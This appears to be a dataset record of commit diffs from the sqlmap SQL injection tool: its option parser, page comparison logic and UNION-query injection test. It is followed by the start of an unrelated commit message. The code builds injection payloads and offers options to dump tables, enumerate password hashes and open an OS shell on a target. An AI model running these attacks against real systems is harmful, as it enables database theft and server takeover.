HTTP responses \" \"page content when using the blind SQL \" \"injection technique.\") injection.add_option(\"-p\", dest=\"testParameter\", help=\"Testable parameter(s)\") injection.add_option(\"--dbms\", dest=\"dbms\", help=\"Force back-end DBMS to this value\") injection.add_option(\"--prefix\", dest=\"prefix\", help=\"Injection payload prefix string\") injection.add_option(\"--postfix\", dest=\"postfix\", help=\"Injection payload postfix string\") injection.add_option(\"--string\", dest=\"string\", help=\"String to match in page when the \" \"query is valid\") injection.add_option(\"--regexp\", dest=\"regexp\", help=\"Regexp to match in page when the \" \"query is valid\") injection.add_option(\"--excl-str\", dest=\"eString\", help=\"String to be excluded before calculating \" \"page hash\") injection.add_option(\"--excl-reg\", dest=\"eRegexp\", help=\"Regexp matches to be excluded before \" \"calculating page hash\") techniques=OptionGroup(parser, \"Techniques\", \"These options can \" \"be used to test for specific SQL injection \" \"technique or to use one of them to exploit \" \"the affected parameter(s) rather than using \" \"the default blind SQL injection technique.\") techniques.add_option(\"--stacked-test\", dest=\"stackedTest\", action=\"store_true\", help=\"Test for stacked queries(multiple \" \"statements) support\") techniques.add_option(\"--time-test\", dest=\"timeTest\", action=\"store_true\", help=\"Test for Time based blind SQL injection\") techniques.add_option(\"--union-test\", dest=\"unionTest\", action=\"store_true\", help=\"Test for UNION query(inband) SQL injection\") techniques.add_option(\"--union-use\", dest=\"unionUse\", action=\"store_true\", help=\"Use the UNION query(inband) SQL injection \" \"to retrieve the queries output. No \" \"need to go blind\") fingerprint=OptionGroup(parser, \"Fingerprint\") fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\", action=\"store_true\", help=\"Perform an extensive DBMS version fingerprint\") enumeration=OptionGroup(parser, \"Enumeration\", \"These options can \" \"be used to enumerate the back-end database \" \"management system information, structure \" \"and data contained in the tables. Moreover \" \"you can run your own SQL SELECT queries.\") enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\", action=\"store_true\", help=\"Retrieve DBMS banner\") enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\", action=\"store_true\", help=\"Retrieve DBMS current user\") enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\", action=\"store_true\", help=\"Retrieve DBMS current database\") enumeration.add_option(\"--is-dba\", dest=\"isDba\", action=\"store_true\", help=\"Detect if the DBMS current user is DBA\") enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\", help=\"Enumerate DBMS users\") enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\", action=\"store_true\", help=\"Enumerate DBMS users password hashes(opt: -U)\") enumeration.add_option(\"--privileges\", dest=\"getPrivileges\", action=\"store_true\", help=\"Enumerate DBMS users privileges(opt: -U)\") enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\", help=\"Enumerate DBMS databases\") enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\", help=\"Enumerate DBMS database tables(opt: -D)\") enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\", help=\"Enumerate DBMS database table columns \" \"(req:-T opt:-D)\") enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\", help=\"Dump DBMS database table entries \" \"(req: -T, opt: -D, -C, --start, --stop)\") enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\", help=\"Dump all DBMS databases tables entries\") enumeration.add_option(\"-D\", dest=\"db\", help=\"DBMS database to enumerate\") enumeration.add_option(\"-T\", dest=\"tbl\", help=\"DBMS database table to enumerate\") enumeration.add_option(\"-C\", dest=\"col\", help=\"DBMS database table column to enumerate\") enumeration.add_option(\"-U\", dest=\"user\", help=\"DBMS user to enumerate\") enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\", action=\"store_true\", help=\"Exclude DBMS system databases when \" \"enumerating tables\") enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\", help=\"First table entry to dump\") enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\", help=\"Last table entry to dump\") enumeration.add_option(\"--sql-query\", dest=\"query\", help=\"SQL SELECT query to be executed\") enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\", action=\"store_true\", help=\"Prompt for an interactive SQL shell\") filesystem=OptionGroup(parser, \"File system access\", \"These options \" \"can be used to access the back-end database \" \"management system file system taking \" \"advantage of native DBMS functions or \" \"specific DBMS design weaknesses.\") filesystem.add_option(\"--read-file\", dest=\"rFile\", help=\"Read a specific OS file content(only on MySQL)\") filesystem.add_option(\"--write-file\", dest=\"wFile\", help=\"Write to a specific OS file(not yet available)\") takeover=OptionGroup(parser, \"Operating system access\", \"This \" \"option can be used to access the back-end \" \"database management system operating \" \"system taking advantage of specific DBMS \" \"design weaknesses.\") takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\", help=\"Prompt for an interactive OS shell \" \"(only on PHP/MySQL environment with a \" \"writable directory within the web \" \"server document root for the moment)\") miscellaneous=OptionGroup(parser, \"Miscellaneous\") miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\", help=\"Retrieve each query output length and \" \"calculate the estimated time of arrival \" \"in real time\") miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\", help=\"Update sqlmap to the latest stable version\") miscellaneous.add_option(\"-s\", dest=\"sessionFile\", help=\"Save and resume all data retrieved \" \"on a session file\") miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\", help=\"Save options on a configuration INI file\") miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\", help=\"Never ask for user input, use the default behaviour\") parser.add_option_group(target) parser.add_option_group(request) parser.add_option_group(injection) parser.add_option_group(techniques) parser.add_option_group(fingerprint) parser.add_option_group(enumeration) parser.add_option_group(filesystem) parser.add_option_group(takeover) parser.add_option_group(miscellaneous) (args, _)=parser.parse_args() if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll: errMsg =\"missing a mandatory parameter('-u', '-l', '-g', '-c' or '--update'), \" errMsg +=\"-h for help\" parser.error(errMsg) return args except(OptionError, TypeError), e: parser.error(e) debugMsg=\"parsing command line\" logger.debug(debugMsg) ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport sys\n\nfrom optparse import OptionError\nfrom optparse import OptionGroup\nfrom optparse import OptionParser\n\nfrom lib.core.data import logger\nfrom lib.core.settings import VERSION_STRING\n\n\ndef cmdLineParser():\n \"\"\"\n This function parses the command line parameters and arguments\n \"\"\"\n\n usage = \"%s [options]\" % sys.argv[0]\n parser = OptionParser(usage=usage, version=VERSION_STRING)\n\n try:\n parser.add_option(\"-v\", dest=\"verbose\", type=\"int\",\n help=\"Verbosity level: 0-5 (default 1)\")\n\n # Target options\n target = OptionGroup(parser, \"Target\", \"At least one of these \"\n \"options has to be specified to set the source \"\n \"to get target urls from.\")\n\n target.add_option(\"-u\", \"--url\", dest=\"url\", help=\"Target url\")\n\n target.add_option(\"-l\", dest=\"list\", help=\"Parse targets from Burp \"\n \"or WebScarab logs\")\n\n target.add_option(\"-g\", dest=\"googleDork\",\n help=\"Process Google dork results as target urls\")\n\n target.add_option(\"-c\", dest=\"configFile\",\n help=\"Load options from a configuration INI file\")\n\n\n # Request options\n request = OptionGroup(parser, \"Request\", \"These options can be used \"\n \"to specify how to connect to the target url.\")\n\n request.add_option(\"--method\", dest=\"method\", default=\"GET\",\n help=\"HTTP method, GET or POST (default: GET)\")\n\n request.add_option(\"--data\", dest=\"data\",\n help=\"Data string to be sent through POST\")\n\n request.add_option(\"--cookie\", dest=\"cookie\",\n help=\"HTTP Cookie header\")\n\n request.add_option(\"--referer\", dest=\"referer\",\n help=\"HTTP Referer header\")\n\n request.add_option(\"--user-agent\", dest=\"agent\",\n help=\"HTTP User-Agent header\")\n\n request.add_option(\"-a\", dest=\"userAgentsFile\",\n help=\"Load a random HTTP User-Agent \"\n \"header from file\")\n\n request.add_option(\"--headers\", dest=\"headers\",\n help=\"Extra HTTP headers '\\\\n' separated\")\n\n request.add_option(\"--auth-type\", dest=\"aType\",\n help=\"HTTP Authentication type, value: \"\n \"Basic or Digest\")\n\n request.add_option(\"--auth-cred\", dest=\"aCred\",\n help=\"HTTP Authentication credentials, value: \"\n \"name:password\")\n\n request.add_option(\"--proxy\", dest=\"proxy\",\n help=\"Use a HTTP proxy to connect to the target url\")\n\n request.add_option(\"--threads\", dest=\"threads\", type=\"int\",\n help=\"Maximum number of concurrent HTTP \"\n \"requests (default 1)\")\n\n request.add_option(\"--delay\", dest=\"delay\", type=\"float\",\n help=\"Delay in seconds between each HTTP request\")\n\n request.add_option(\"--timeout\", dest=\"timeout\", type=\"float\",\n help=\"Seconds to wait before timeout connection \"\n \"(default 30)\")\n\n\n # Injection options\n injection = OptionGroup(parser, \"Injection\", \"These options can be \"\n \"used to specify which parameters to test \"\n \"for, provide custom injection payloads and \"\n \"how to parse and compare HTTP responses \"\n \"page content when using the blind SQL \"\n \"injection technique.\")\n\n injection.add_option(\"-p\", dest=\"testParameter\",\n help=\"Testable parameter(s)\")\n\n injection.add_option(\"--dbms\", dest=\"dbms\",\n help=\"Force back-end DBMS to this value\")\n\n injection.add_option(\"--prefix\", dest=\"prefix\",\n help=\"Injection payload prefix string\")\n\n injection.add_option(\"--postfix\", dest=\"postfix\",\n help=\"Injection payload postfix string\")\n\n injection.add_option(\"--string\", dest=\"string\",\n help=\"String to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--regexp\", dest=\"regexp\",\n help=\"Regexp to match in page when the \"\n \"query is valid\")\n\n injection.add_option(\"--excl-str\", dest=\"eString\",\n help=\"String to be excluded before calculating \"\n \"page hash\")\n\n injection.add_option(\"--excl-reg\", dest=\"eRegexp\",\n help=\"Regexp matches to be excluded before \"\n \"calculating page hash\")\n\n\n # Techniques options\n techniques = OptionGroup(parser, \"Techniques\", \"These options can \"\n \"be used to test for specific SQL injection \"\n \"technique or to use one of them to exploit \"\n \"the affected parameter(s) rather than using \"\n \"the default blind SQL injection technique.\")\n\n techniques.add_option(\"--stacked-test\", dest=\"stackedTest\",\n action=\"store_true\",\n help=\"Test for stacked queries (multiple \"\n \"statements) support\")\n\n techniques.add_option(\"--time-test\", dest=\"timeTest\",\n action=\"store_true\",\n help=\"Test for Time based blind SQL injection\")\n\n techniques.add_option(\"--union-test\", dest=\"unionTest\",\n action=\"store_true\",\n help=\"Test for UNION query (inband) SQL injection\")\n\n techniques.add_option(\"--union-use\", dest=\"unionUse\",\n action=\"store_true\",\n help=\"Use the UNION query (inband) SQL injection \"\n \"to retrieve the queries output. No \"\n \"need to go blind\")\n\n\n # Fingerprint options\n fingerprint = OptionGroup(parser, \"Fingerprint\")\n\n fingerprint.add_option(\"-f\", \"--fingerprint\", dest=\"extensiveFp\",\n action=\"store_true\",\n help=\"Perform an extensive DBMS version fingerprint\")\n\n\n # Enumeration options\n enumeration = OptionGroup(parser, \"Enumeration\", \"These options can \"\n \"be used to enumerate the back-end database \"\n \"management system information, structure \"\n \"and data contained in the tables. Moreover \"\n \"you can run your own SQL SELECT queries.\")\n\n enumeration.add_option(\"-b\", \"--banner\", dest=\"getBanner\",\n action=\"store_true\", help=\"Retrieve DBMS banner\")\n\n enumeration.add_option(\"--current-user\", dest=\"getCurrentUser\",\n action=\"store_true\",\n help=\"Retrieve DBMS current user\")\n\n enumeration.add_option(\"--current-db\", dest=\"getCurrentDb\",\n action=\"store_true\",\n help=\"Retrieve DBMS current database\")\n\n enumeration.add_option(\"--is-dba\", dest=\"isDba\",\n action=\"store_true\",\n help=\"Detect if the DBMS current user is DBA\")\n\n enumeration.add_option(\"--users\", dest=\"getUsers\", action=\"store_true\",\n help=\"Enumerate DBMS users\")\n\n enumeration.add_option(\"--passwords\", dest=\"getPasswordHashes\",\n action=\"store_true\",\n help=\"Enumerate DBMS users password hashes (opt: -U)\")\n\n enumeration.add_option(\"--privileges\", dest=\"getPrivileges\",\n action=\"store_true\",\n help=\"Enumerate DBMS users privileges (opt: -U)\")\n\n enumeration.add_option(\"--dbs\", dest=\"getDbs\", action=\"store_true\",\n help=\"Enumerate DBMS databases\")\n\n enumeration.add_option(\"--tables\", dest=\"getTables\", action=\"store_true\",\n help=\"Enumerate DBMS database tables (opt: -D)\")\n\n enumeration.add_option(\"--columns\", dest=\"getColumns\", action=\"store_true\",\n help=\"Enumerate DBMS database table columns \"\n \"(req:-T opt:-D)\")\n\n enumeration.add_option(\"--dump\", dest=\"dumpTable\", action=\"store_true\",\n help=\"Dump DBMS database table entries \"\n \"(req: -T, opt: -D, -C, --start, --stop)\")\n\n enumeration.add_option(\"--dump-all\", dest=\"dumpAll\", action=\"store_true\",\n help=\"Dump all DBMS databases tables entries\")\n\n enumeration.add_option(\"-D\", dest=\"db\",\n help=\"DBMS database to enumerate\")\n\n enumeration.add_option(\"-T\", dest=\"tbl\",\n help=\"DBMS database table to enumerate\")\n\n enumeration.add_option(\"-C\", dest=\"col\",\n help=\"DBMS database table column to enumerate\")\n\n enumeration.add_option(\"-U\", dest=\"user\",\n help=\"DBMS user to enumerate\")\n\n enumeration.add_option(\"--exclude-sysdbs\", dest=\"excludeSysDbs\",\n action=\"store_true\",\n help=\"Exclude DBMS system databases when \"\n \"enumerating tables\")\n\n enumeration.add_option(\"--start\", dest=\"limitStart\", type=\"int\",\n help=\"First table entry to dump\")\n\n enumeration.add_option(\"--stop\", dest=\"limitStop\", type=\"int\",\n help=\"Last table entry to dump\")\n\n enumeration.add_option(\"--sql-query\", dest=\"query\",\n help=\"SQL SELECT query to be executed\")\n\n enumeration.add_option(\"--sql-shell\", dest=\"sqlShell\",\n action=\"store_true\",\n help=\"Prompt for an interactive SQL shell\")\n\n\n # File system options\n filesystem = OptionGroup(parser, \"File system access\", \"These options \"\n \"can be used to access the back-end database \"\n \"management system file system taking \"\n \"advantage of native DBMS functions or \"\n \"specific DBMS design weaknesses.\")\n\n filesystem.add_option(\"--read-file\", dest=\"rFile\",\n help=\"Read a specific OS file content (only on MySQL)\")\n\n filesystem.add_option(\"--write-file\", dest=\"wFile\",\n help=\"Write to a specific OS file (not yet available)\")\n\n\n # Takeover options\n takeover = OptionGroup(parser, \"Operating system access\", \"This \"\n \"option can be used to access the back-end \"\n \"database management system operating \"\n \"system taking advantage of specific DBMS \"\n \"design weaknesses.\")\n\n takeover.add_option(\"--os-shell\", dest=\"osShell\", action=\"store_true\",\n help=\"Prompt for an interactive OS shell \"\n \"(only on PHP/MySQL environment with a \"\n \"writable directory within the web \"\n \"server document root for the moment)\")\n\n\n # Miscellaneous options\n miscellaneous = OptionGroup(parser, \"Miscellaneous\")\n\n miscellaneous.add_option(\"--eta\", dest=\"eta\", action=\"store_true\",\n help=\"Retrieve each query output length and \"\n \"calculate the estimated time of arrival \"\n \"in real time\")\n\n miscellaneous.add_option(\"--update\", dest=\"updateAll\", action=\"store_true\",\n help=\"Update sqlmap to the latest stable version\")\n\n miscellaneous.add_option(\"-s\", dest=\"sessionFile\",\n help=\"Save and resume all data retrieved \"\n \"on a session file\")\n\n miscellaneous.add_option(\"--save\", dest=\"saveCmdline\", action=\"store_true\",\n help=\"Save options on a configuration INI file\")\n\n miscellaneous.add_option(\"--batch\", dest=\"batch\", action=\"store_true\",\n help=\"Never ask for user input, use the default behaviour\")\n\n\n parser.add_option_group(target)\n parser.add_option_group(request)\n parser.add_option_group(injection)\n parser.add_option_group(techniques)\n parser.add_option_group(fingerprint)\n parser.add_option_group(enumeration)\n parser.add_option_group(filesystem)\n parser.add_option_group(takeover)\n parser.add_option_group(miscellaneous)\n\n (args, _) = parser.parse_args()\n\n if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:\n errMsg = \"missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), \"\n errMsg += \"-h for help\"\n parser.error(errMsg)\n\n return args\n except (OptionError, TypeError), e:\n parser.error(e)\n\n debugMsg = \"parsing command line\"\n logger.debug(debugMsg)\n"}, "/lib/request/comparison.py": {"changes": [{"diff": "\n conf.seqMatcher.set_seq2(page)\n \n if getSeqMatcher:\n- return round(conf.seqMatcher.ratio(), 5)\n+ return round(conf.seqMatcher.ratio(), 3)\n \n- elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n+ elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:\n return True\n \n el", "add": 2, "remove": 2, "filename": "/lib/request/comparison.py", "badparts": [" return round(conf.seqMatcher.ratio(), 5)", " elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:"], "goodparts": [" return round(conf.seqMatcher.ratio(), 3)", " elif round(conf.seqMatcher.ratio(), 3) >= MATCH_RATIO:"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" import re from lib.core.data import conf from lib.core.settings import MATCH_RATIO def comparison(page, headers=None, getSeqMatcher=False): regExpResults=None if conf.eString and conf.eString in page: index =page.index(conf.eString) length =len(conf.eString) pageWithoutString =page[:index] pageWithoutString +=page[index+length:] page =pageWithoutString if conf.eRegexp: regExpResults=re.findall(conf.eRegexp, page, re.I | re.M) if regExpResults: for regExpResult in regExpResults: index =page.index(regExpResult) length =len(regExpResult) pageWithoutRegExp =page[:index] pageWithoutRegExp +=page[index+length:] page =pageWithoutRegExp if conf.string: if conf.string in page: return True else: return False if conf.regexp: if re.search(conf.regexp, page, re.I | re.M): return True else: return False conf.seqMatcher.set_seq2(page) if getSeqMatcher: return round(conf.seqMatcher.ratio(), 5) elif round(conf.seqMatcher.ratio(), 5) >=MATCH_RATIO: return True else: return False ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nimport re\n\nfrom lib.core.data import conf\nfrom lib.core.settings import MATCH_RATIO\n\n\ndef comparison(page, headers=None, getSeqMatcher=False):\n regExpResults = None\n\n # String to be excluded before calculating page hash\n if conf.eString and conf.eString in page:\n index = page.index(conf.eString)\n length = len(conf.eString)\n pageWithoutString = page[:index]\n pageWithoutString += page[index+length:]\n page = pageWithoutString\n\n # Regular expression matches to be excluded before calculating page hash\n if conf.eRegexp:\n regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)\n\n if regExpResults:\n for regExpResult in regExpResults:\n index = page.index(regExpResult)\n length = len(regExpResult)\n pageWithoutRegExp = page[:index]\n pageWithoutRegExp += page[index+length:]\n page = pageWithoutRegExp\n\n # String to match in page when the query is valid\n if conf.string:\n if conf.string in page:\n return True\n else:\n return False\n\n # Regular expression to match in page when the query is valid\n if conf.regexp:\n if re.search(conf.regexp, page, re.I | re.M):\n return True\n else:\n return False\n\n # By default it returns sequence matcher between the first untouched\n # HTTP response page content and this content\n conf.seqMatcher.set_seq2(page)\n\n if getSeqMatcher:\n return round(conf.seqMatcher.ratio(), 5)\n\n elif round(conf.seqMatcher.ratio(), 5) >= MATCH_RATIO:\n return True\n\n else:\n return False\n"}, "/lib/techniques/inband/union/test.py": {"changes": [{"diff": "\n \n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n- newResult = Request.queryPage(payload)\n+ newResult = Request.queryPage(payload, getSeqMatcher=True)\n \n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n \n- if count:\n- for element in resultDict.values():\n- if element[0] == 1:\n+ if count > 3:\n+ for ratio, element in resultDict.items():\n+ if element[0] == 1 and ratio > 0.5:\n if kb.injPlace == \"GET\":\n- value = \"%s?%s\" % (conf.url, payload)\n+ value = \"%s?%s\" % (conf.url, element[1])\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nPOST:\\t'%s'\\n\" % payload\n+ value += \"\\nPOST:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n- value += \"\\nCookie:\\t'%s'\\n\" % payload\n+ value += \"\\nCookie:\\t'%s'\\n\" % element[1]\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n- value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n+ value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]\n \n return value\n \n", "add": 8, "remove": 8, "filename": "/lib/techniques/inband/union/test.py", "badparts": [" newResult = Request.queryPage(payload)", " if count:", " for element in resultDict.values():", " if element[0] == 1:", " value = \"%s?%s\" % (conf.url, payload)", " value += \"\\nPOST:\\t'%s'\\n\" % payload", " value += \"\\nCookie:\\t'%s'\\n\" % payload", " value += \"\\nUser-Agent:\\t'%s'\\n\" % payload"], "goodparts": [" newResult = Request.queryPage(payload, getSeqMatcher=True)", " if count > 3:", " for ratio, element in resultDict.items():", " if element[0] == 1 and ratio > 0.5:", " value = \"%s?%s\" % (conf.url, element[1])", " value += \"\\nPOST:\\t'%s'\\n\" % element[1]", " value += \"\\nCookie:\\t'%s'\\n\" % element[1]", " value += \"\\nUser-Agent:\\t'%s'\\n\" % element[1]"]}], "source": "\n \"\"\" $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright(c) 2006-2008 Bernardo Damele A. G. and Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA \"\"\" from lib.core.agent import agent from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.request.connect import Connect as Request def __effectiveUnionTest(query, comment): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table \"\"\" resultDict={} for count in range(0, 50): if kb.dbms==\"Oracle\" and query.endswith(\" FROM DUAL\"): query=query[:-len(\" FROM DUAL\")] if count: query +=\", NULL\" if kb.dbms==\"Oracle\": query +=\" FROM DUAL\" commentedQuery=agent.postfixQuery(query, comment) payload=agent.payload(newValue=commentedQuery) newResult=Request.queryPage(payload) if not newResult in resultDict.keys(): resultDict[newResult]=(1, commentedQuery) else: resultDict[newResult]=(resultDict[newResult][0] +1, commentedQuery) if count: for element in resultDict.values(): if element[0]==1: if kb.injPlace==\"GET\": value=\"%s?%s\" %(conf.url, payload) elif kb.injPlace==\"POST\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nPOST:\\t'%s'\\n\" % payload elif kb.injPlace==\"Cookie\": value =\"URL:\\t'%s'\" % conf.url value +=\"\\nCookie:\\t'%s'\\n\" % payload elif kb.injPlace==\"User-Agent\": value =\"URL:\\t\\t'%s'\" % conf.url value +=\"\\nUser-Agent:\\t'%s'\\n\" % payload return value return None def unionTest(): \"\"\" This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times \"\"\" logMsg =\"testing inband sql injection on parameter \" logMsg +=\"'%s'\" % kb.injParameter logger.info(logMsg) value=\"\" query=agent.prefixQuery(\" UNION ALL SELECT NULL\") for comment in(queries[kb.dbms].comment, \"\"): value=__effectiveUnionTest(query, comment) if value: setUnion(comment, value.count(\"NULL\")) break if kb.unionCount: logMsg =\"the target url could be affected by an \" logMsg +=\"inband sql injection vulnerability\" logger.info(logMsg) else: warnMsg =\"the target url is not affected by an \" warnMsg +=\"inband sql injection vulnerability\" logger.warn(warnMsg) return value ", "sourceWithComments": "#!/usr/bin/env python\n\n\"\"\"\n$Id$\n\nThis file is part of the sqlmap project, http://sqlmap.sourceforge.net.\n\nCopyright (c) 2006-2008 Bernardo Damele A. G. \n and Daniele Bellucci \n\nsqlmap is free software; you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free\nSoftware Foundation version 2 of the License.\n\nsqlmap is distributed in the hope that it will be useful, but WITHOUT ANY\nWARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more\ndetails.\n\nYou should have received a copy of the GNU General Public License along\nwith sqlmap; if not, write to the Free Software Foundation, Inc., 51\nFranklin St, Fifth Floor, Boston, MA 02110-1301 USA\n\"\"\"\n\n\n\nfrom lib.core.agent import agent\nfrom lib.core.data import conf\nfrom lib.core.data import kb\nfrom lib.core.data import logger\nfrom lib.core.data import queries\nfrom lib.core.session import setUnion\nfrom lib.request.connect import Connect as Request\n\n\ndef __effectiveUnionTest(query, comment):\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 50 columns\n on the target database table\n \"\"\"\n\n resultDict = {}\n\n for count in range(0, 50):\n if kb.dbms == \"Oracle\" and query.endswith(\" FROM DUAL\"):\n query = query[:-len(\" FROM DUAL\")]\n\n if count:\n query += \", NULL\"\n\n if kb.dbms == \"Oracle\":\n query += \" FROM DUAL\"\n\n commentedQuery = agent.postfixQuery(query, comment)\n payload = agent.payload(newValue=commentedQuery)\n newResult = Request.queryPage(payload)\n\n if not newResult in resultDict.keys():\n resultDict[newResult] = (1, commentedQuery)\n else:\n resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)\n\n if count:\n for element in resultDict.values():\n if element[0] == 1:\n if kb.injPlace == \"GET\":\n value = \"%s?%s\" % (conf.url, payload)\n elif kb.injPlace == \"POST\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nPOST:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"Cookie\":\n value = \"URL:\\t'%s'\" % conf.url\n value += \"\\nCookie:\\t'%s'\\n\" % payload\n elif kb.injPlace == \"User-Agent\":\n value = \"URL:\\t\\t'%s'\" % conf.url\n value += \"\\nUser-Agent:\\t'%s'\\n\" % payload\n\n return value\n\n return None\n\n\ndef unionTest():\n \"\"\"\n This method tests if the target url is affected by an inband\n SQL injection vulnerability. The test is done up to 3*50 times\n \"\"\"\n\n logMsg = \"testing inband sql injection on parameter \"\n logMsg += \"'%s'\" % kb.injParameter\n logger.info(logMsg)\n\n value = \"\"\n\n query = agent.prefixQuery(\" UNION ALL SELECT NULL\")\n\n for comment in (queries[kb.dbms].comment, \"\"):\n value = __effectiveUnionTest(query, comment)\n\n if value:\n setUnion(comment, value.count(\"NULL\"))\n\n break\n\n if kb.unionCount:\n logMsg = \"the target url could be affected by an \"\n logMsg += \"inband sql injection vulnerability\"\n logger.info(logMsg)\n else:\n warnMsg = \"the target url is not affected by an \"\n warnMsg += \"inband sql injection vulnerability\"\n logger.warn(warnMsg)\n\n return value\n"}}, "msg": "Minor adjustment to UNION query SQL injection detection function.\nUpdated command line help message based upon recent developments.\nUpdated copyright note of lib/contrib/multipartpost.py."}}, "https://github.com/teonistor/beamr": {"2a677f6271f958e3f35bbac29e1f710727e8b3a6": {"url": "https://api.github.com/repos/teonistor/beamr/commits/2a677f6271f958e3f35bbac29e1f710727e8b3a6", "html_url": "https://github.com/teonistor/beamr/commit/2a677f6271f958e3f35bbac29e1f710727e8b3a6", "message": "Beta 2 (#3)\n\n* Org mode tables with a twist\r\n* Add config dumping procedure\r\n* Fine-grain quiet levels (up to 3 -q's now supported)\r\n* Citations can pass options\r\n* Title page improvements\r\n* TOC & header/footer adjustments\r\n* Autodetect and inertify simple-ish LaTeX commands\r\n* Explicit add/remove/override in config lists\r\n* Add code injection points around preambles etc\r\n* Squelch some useless warnings\r\n* Create infrastructure for file-line-based error reporting\r\n* Simplify lexer referencing in rules that require named capturing groups\r\n* Add line no info to warns etc\r\n* Newline rundown\r\n* Externalise strings from Document (hierarchical.py)\r\n* Externalise strings from Slide (hierarchical.py)\r\n* Externalise strings from Column (hierarchical.py)\r\n* Externalise strings from Box and optimise Regex\r\n* Externalise strings from Footnote (hierarchical.py)\r\n* Externalise strings from 